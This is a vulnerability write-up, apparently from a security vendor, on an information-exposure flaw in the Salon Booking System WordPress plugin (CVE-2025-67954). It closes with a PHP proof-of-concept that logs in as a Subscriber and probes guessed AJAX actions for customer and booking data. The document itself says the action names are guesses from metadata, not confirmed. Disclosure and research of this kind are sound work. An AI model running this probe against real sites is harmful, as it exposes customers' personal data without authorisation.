Atomic Edge analysis of CVE-2025-67954 (metadata-based):
This vulnerability is an authenticated information exposure flaw in the Salon Booking System plugin for WordPress. Attackers with Subscriber-level access or higher can extract sensitive user or configuration data. The CVSS 3.1 score of 3.1 reflects a low-severity, network-based attack with high attack complexity requiring low privileges.
Atomic Edge research indicates the root cause likely involves insufficient access controls on a data retrieval function. The CWE-200 classification confirms sensitive information reaches unauthorized actors. Without code analysis, we infer the plugin exposes an endpoint, AJAX handler, or REST API route that returns data without proper capability checks. The vulnerability description confirms authenticated attackers with Subscriber access can exploit this flaw, suggesting missing or incorrect user role validation.
Exploitation requires an authenticated session. Attackers would first obtain Subscriber credentials through social engineering or credential stuffing. They would then send crafted requests to the vulnerable endpoint. Based on WordPress plugin patterns, the attack vector is likely a POST request to `/wp-admin/admin-ajax.php` with an `action` parameter containing a plugin-specific hook like `sls_` or `salon_booking_`. The payload may include parameters like `id`, `user_id`, or `config` to specify which sensitive data to retrieve. The server responds with unauthorized data in JSON or HTML format.
The patch in version 10.30.4 likely implements proper capability checks using WordPress functions like `current_user_can()` or role-based validation. Developers should verify user permissions before processing data retrieval requests. They should also implement data sanitization using `sanitize_text_field()` and output escaping with `esc_html()` or `wp_json_encode()`. The fix should restrict sensitive data access to administrators or specific authorized roles only.
Successful exploitation exposes sensitive user information or plugin configuration data. This could include customer names, email addresses, phone numbers, booking details, or service pricing. While the CVSS score indicates low confidentiality impact, exposed data could facilitate social engineering, targeted phishing, or business intelligence gathering. The vulnerability does not enable privilege escalation or direct system compromise according to the CVSS vector.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-67954 - Salon booking system <= 10.30.3 - Authenticated (Subscriber+) Information Exposure
<?php
$target_url = 'https://example.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
// Step 1: Authenticate as Subscriber
$login_url = $target_url . '/wp-login.php';
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// Step 2: Attempt to exploit information exposure
// Based on WordPress plugin patterns, we try common AJAX actions
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$possible_actions = [
'sls_get_customers',
'sls_get_bookings',
'salon_booking_get_data',
'sls_get_config',
'salon_get_users'
];
foreach ($possible_actions as $action) {
$post_data = [
'action' => $action,
// Common parameters that might trigger data exposure
'id' => '1',
'user_id' => '1',
'all' => 'true',
'nonce' => 'test' // Nonce may be required but could be bypassed
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "nTrying action: $actionn";
echo "HTTP Code: $http_coden";
// Check for potential data exposure patterns
if ($http_code == 200 && !empty($response)) {
if (strpos($response, 'email') !== false ||
strpos($response, 'phone') !== false ||
strpos($response, 'name') !== false ||
strpos($response, 'booking') !== false ||
strpos($response, 'price') !== false) {
echo "POTENTIAL DATA EXPOSURE DETECTED:n";
echo substr($response, 0, 500) . "n...n";
break;
}
}
}
curl_close($ch);
?>
